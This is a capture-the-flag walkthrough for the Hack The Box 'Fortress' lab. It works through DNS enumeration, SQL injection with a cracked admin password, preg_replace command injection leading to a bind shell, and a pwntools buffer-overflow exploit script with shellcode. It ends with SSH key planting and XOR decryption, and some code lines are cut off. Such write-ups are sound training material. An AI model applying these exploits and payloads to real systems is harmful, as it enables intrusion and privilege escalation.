Hack The Box - Writeup

Fortress

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Recon

nmap

Nmap spits out a few tcp ports.

| Port | Service |
|---------------------|-------------------------|
| 22/tcp | ssh |
| 53/tcp | dns |
| 80/tcp | nginx |
| $5555/\mathrm{tcp}$ | freeciv? |
| 7777/tcp | cbt? |
| $9201/\mathrm{tcp}$ | BaseHTTPServer (python) |
| 600002/tcp | unknown? |

Flag "Connect"

You will find that flag by just looking at nginx default page at port 80. JET{s4n1ty_ch3ck}

Flag "Digging in..."

By using dig you can get the hostname associated with the given ip address:

```
1 --- ~ » dig -x 10.13.37.10 @10.13.37.10
2
3 ; <<>> DiG 9.13.5 <<>> -x 10.13.37.10 @10.13.37.10
4 ;; global options: +cmd
5 ;; Got answer:
6 ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 60882
7 ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
8 ;; WARNING: recursion requested but not available
9
10 ;; OPT PSEUDOSECTION:
11 ; EDNS: version: 0, flags:; udp: 4096
12 ;; QUESTION SECTION:
13 ;10.37.13.10.in-addr.arpa. IN PTR
14
15 ;; AUTHORITY SECTION:</pre>
```

```
16 37.13.10.in-addr.arpa. 604800 IN SOA www.securewebinc.jet.

→ securewebinc.jet. 3 604800 86400 2419200 604800

17

18 ;; Query time: 96 msec

19 ;; SERVER: 10.13.37.10#53(10.13.37.10)

20 ;; WHEN: Thu Jan 10 15:34:47 CET 2019

21 ;; MSG SIZE rcvd: 109
```

Writing them to your hosts file you can browse to the webpage http://www.securewebinc.jet/where you will find the flag.

```
JET{w31c0me_4nd_h@v3_fun!}
```

Flag "Bypassing Authentication"

From reading the source of the webpage at http://www.securewebinc.jet you will find a link to a custom javascript file called secure.js

1 eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,4

Decoding this file you will get

```
1 function getStats()
2 {
      $.ajax({url: "/dirb_safe_dir_rf9EmcEIx/admin/stats.php",
3
4
           success: function(result){
5
           $('#attacks').html(result)
6
      },
      error: function(result){
8
9
            console.log(result);
10
      }});
11 }
12 getStats();
13 setInterval(function(){ getStats(); }, 10000);
```

This is leaking a path as you can see.

You will get a login at http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php

The parameter username of the post login is prone to different SQL-Injection methods. Leveraging sqlmap you will be able to retrieve the following information:

Using crackstation on that hash will reveal it is Hackthesystem200 in plain text. So the credentials are admin: Hackthesystem200.

In the Chat window you will find the flag: JET{sQl_1nj3ct1ons_4r3_fun!}

Flag "Going Deeper"

Looking at the resulting login page of the previous step you will find a comment in login.php saying:

```
<!-- JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4l1} -->
```

Flag "Command"

Using the applications mail function you can exploit a preg_replace call. The mail function wants to replace bad words. So using burp and altering the request to this you can instert arbitrary system commands:

→ person&to=a@a.com&subject=test&message=fuck
&_wysihtml5_mode=1

As you can see I transferred socat as always and issued a bind shell.

```
5 www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$
6 www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$ cat a_flag_is_here.txt
7 JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}
```

Flag "Elasticity"

You will find enumerating, that the service at port 9201 is also a webserver. By error messages using curl you will be able to find the url http://10.13.37.10:9201/search?category=

It expects a category. Using the word admin it will reveal a message.

```
1 [{"category": "admin", "body": "Hey Rob - just so you know, that

→ information you wanted has been sent.", "timestamp": "2017-11-13

→ 08:31", "subject": "Just a heads up Rob"}, {"category": "admin",

→ "body": "Thanks dude - all done. You can delete our little secret.

→ Kind regards, Rob", "timestamp": "2017-11-13 13:40", "subject":

→ "Thanks Jazz"}]
```

So if you insert admin as unicode escaped string $\u0061\u0064\u0066\u0069\u006e$ you'll get the same message.

If you insert ' as escaped character there will be an error message.

Basic SQLi is leaking the flag. User admin' || '1'=='1 as encoded payload and you will get:

```
1 [{"category": "admin", "body": "Hey Rob - just so you know, that
     \hookrightarrow information you wanted has been sent.", "timestamp": "2017-11-13
     → 08:31", "subject": "Just a heads up Rob"}, {"category":
     → "maintenance", "body": "Performance to our API has been reduced for
     → a period of 3 hours. Services have been distributed across numerous
     → suppliers, in order to reduce any future potential impact of another
     → outage, as experienced yesterday", "timestamp": "2017-11-10 07:00",
     → "subject": "Maintenance"}, {"category": "admin", "body": "Hey Rob,
     \hookrightarrow you asked for the password to the EU-API-7 instance. You didn not
     → want me to send it on Slack, so I am putting it in here as a draft
     → document. Delete this once you have copied the message, and don
     \hookrightarrow _NOT_ tell _ANYONE_. We need a better way of sharing secrets. The

→ password is purpl3un1c0rn_1969. -Jason

→ JET{3sc4p3_s3qu3nc3s_4r3_fun}", "timestamp": "2017-11-13_08:30",
     → "subject": "Details for upgrades to EU-API-7"}, {"category":
     \hookrightarrow "Maintenance", "body": "All upgrades are complete, and normal
```

```
→ service resumed", "timestamp": "2017-11-13 13:32", "subject":
    "Upgrades complete"}, {"category": "outage", "body": "Due to an
    outage in one of our suppliers, services were unavailable for
    approximately 8 hours. This has now been resolved, and normal
    service resumed", "timestamp": "2017-11-09 15:13", "subject":
    "Server outage"}, {"category": "admin", "body": "Thanks dude - all
    done. You can delete our little secret. Kind regards, Rob",
    "timestamp": "2017-11-13 13:40", "subject": "Thanks Jazz"},
    {"category": "maintenance", "body": "An unscheduled maintenance
    period will occur at 12:00 today for approximately 1 hour. During
    this period, response times will be reduced while services have
    critical patches applied to them across all suppliers and
    instances", "timestamp": "2017-11-13 08:27", "subject": "Upgrades"}]
```

JET{3sc4p3_s3qu3nc3s_4r3_fun}

Flag "Overflown"

The file /home/leak is no directory, but a binary.

It will serve the service at port 60002 referring to ps

```
1 www-data@jet:/home$ ps aux | grep leak

2 www-data 69163 0.0 0.0 11288 876 pts/4 S+ 06:09 0:00 grep leak

3 www-data 94397 0.0 0.0 24364 2896 ? S Jan08 0:00 socat

→ TCP4-LISTEN:60002,reuseaddr,fork EXEC:/home/leak
```

So let's transfer it to our host first.

It has a buffer size of 72. Is an easy 64bit executable stack Bof.

With this script using pwntools you will be able to exploit it leadly.

```
1 www-data@jet:/tmp$ cat sploit_leak.py
2 from pwn import *
```

```
3
4 p = process("/home/leak")
5 p.recvuntil("leaking! ")
6 addr = int(p.recvuntil("\n"),16)
7 p.recvuntil(">")
8
9 #shellcode = asm(shellcraft.execve("/bin/bash"))
10 shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\x
11
12 p.sendline(shellcode + "\x90"*(72 - len(shellcode)) + p64(addr))
13 p.interactive()
```

The results are as follows

```
1 www-data@jet:/tmp$ python sploit_leak.py
 2 [+] Starting local process '/home/leak': pid 72006
 3 [*] Switching to interactive mode
 5 uid=33(www-data) gid=33(www-data) euid=1005(alex) groups=33(www-data)
6 $ ls -la
7 total 448
8 drwxrwxrwt 12 root
                                              4096 Jan 11 08:39 .
                              root
                                              4096 Apr 1 2018 ...
9 drwxr-xr-x 23 root
                              root
10 drwxrwxrwt 2 root
                              root
                                              4096 Jan 4 14:26 .ICE-unix
                                              4096 Jan 4 14:26 .Test-unix
11 drwxrwxrwt 2 root
                              root
12 drwxrwxrwt 2 root
                                              4096 Jan 4 14:26 .X11-unix
                              root
                                              4096 Jan 4 14:26 .XIM-unix
13 drwxrwxrwt 2 root
                              root
14 drwxrwxrwx 2 www-data
                                             4096 Jan 11 07:13 .de
                              www-data
15 drwxrwxrwt 2 root
                              root
                                              4096 Jan 4 14:26 .font-unix
16 prw-r--r- 1 membermanager membermanager
                                                 0 Jan 10 07:16 f
17 prw-r--r-- 1 www-data
                                                 0 Jan 10 20:20 f2
                             www-data
18 drwxr-xr-x 2 elasticsearch elasticsearch 4096 Jan 4 14:26
      → hsperfdata_elasticsearch
19 drwxr-xr-x 2 elasticsearch elasticsearch 4096 Jan 4 14:26
      → jna--1985354563
20 -rw-r--r-- 1 www-data
                              www-data
                                             25304 Jan 4 16:46
      → linuxprivchecker.py
21 -rwxrwxrwx 1 www-data
                              www-data
                                            375176 Apr 30 2018 socat
22 -rw-r--r-- 1 www-data
                              www-data
                                               381 Jan 4 16:30 sploit_leak.py
23 drwx---- 3 root
                                              4096 Jan 4 14:26
                              root
      \hookrightarrow systemd-private-49510f9d52e947b6838d7e3fb82d1ed9-systemd-timesyncd.service-4ZB1or
24 drwx---- 2 root
                                              4096 Jan 4 14:26 vmware-root
                              root
25 \$ cd /home/alex
```

```
26 $ ls -la
27 total 48
28 drwxrwx--- 4 alex alex
                             4096 Jan 9 08:10 .
29 drwxr-xr-x 8 root root
                             4096 Apr 1 2018 ...
30 -rw-r--r-- 1 root root
                                0 Dec 28 2017 .bash_history
31 -rwxrwx--- 1 alex alex
                              220 Dec 27 2017 .bash logout
                             3771 Dec 27 2017 .bashrc
32 -rwxrwx--- 1 alex alex
33 drwx---- 2 alex alex
                             4096 Jan 4 18:56 .cache
34 -rwxrwx--- 1 alex alex
                              655 Dec 27 2017 .profile
35 drwxr-xr-x 2 alex www-data 4096 Jan 4 16:57 .ssh
36 -rw-r--r-- 1 root root
                              659 Jan 3 2018 crypter.py
37 -rw-r--r-- 1 root root
                             1481 Dec 28 2017 encrypted.txt
38 -rw-r--r-- 1 root root
                             7285 Dec 27 2017 exploitme.zip
39 -rw-r--r-- 1 root root
                               27 Dec 28 2017 flag.txt
40 $ cat flag.txt
41 JET{Ov3rfLOw_f0r_73h_lulz}
```

You echo a publik gpg key to /home/alex/.ssh/authorized_keys and can now logon via ssh.

flag "?"

In Alex home folder there are a few files Copy over the crypter.py the encrypted.txt message and the exploitme.zip. The zip contains the membermanager which is running on another port. Will be handy to look at this binary. But first we have to find the password for the zip, as rockyou will not beat the password. There still is the crypter.py which describes, how a message.txt was encrypted to encrypted.txt using a key and xor. Using xortool you can brute force some plain text. securewebincrocks is what can be read from trying to brute the encryption. So let's rewrite the script to decrypt and try using this as key.

In fact we do not need to rewrite that. Using the encrypted.txt as input and just xor'ing again with the same key will decrypt the message just fine.

```
8 To make your life easier I have already spawned instances of the vulnerable
      → binaries listening on our server.
10 The ports are 5555 and 7777.
11 Have fun and keep it safe!
13 JET{r3p3at1ng_ch4rs_1n_s1mp13_x0r_g3ts_y0u_0wn3d}
14
15
16 Cheers - Alex
18 ------
19 This email and any files transmitted with it are confidential and intended
      → solely for the use of the individual or entity to whom they are
      \hookrightarrow addressed. If you have received this email in error please notify
      → the system manager. This message contains confidential information
      \hookrightarrow and is intended only for the individual named. If you are not the
      \hookrightarrow named addressee you should not disseminate, distribute or copy this
      \hookrightarrow e-mail. Please notify the sender immediately by e-mail if you have
      \hookrightarrow received this e-mail by mistake and delete this e-mail from your
      \hookrightarrow system. If you are not the intended recipient you are notified that
      → disclosing, copying, distributing or taking any action in reliance
      → on the contents of this information is strictly prohibited.
```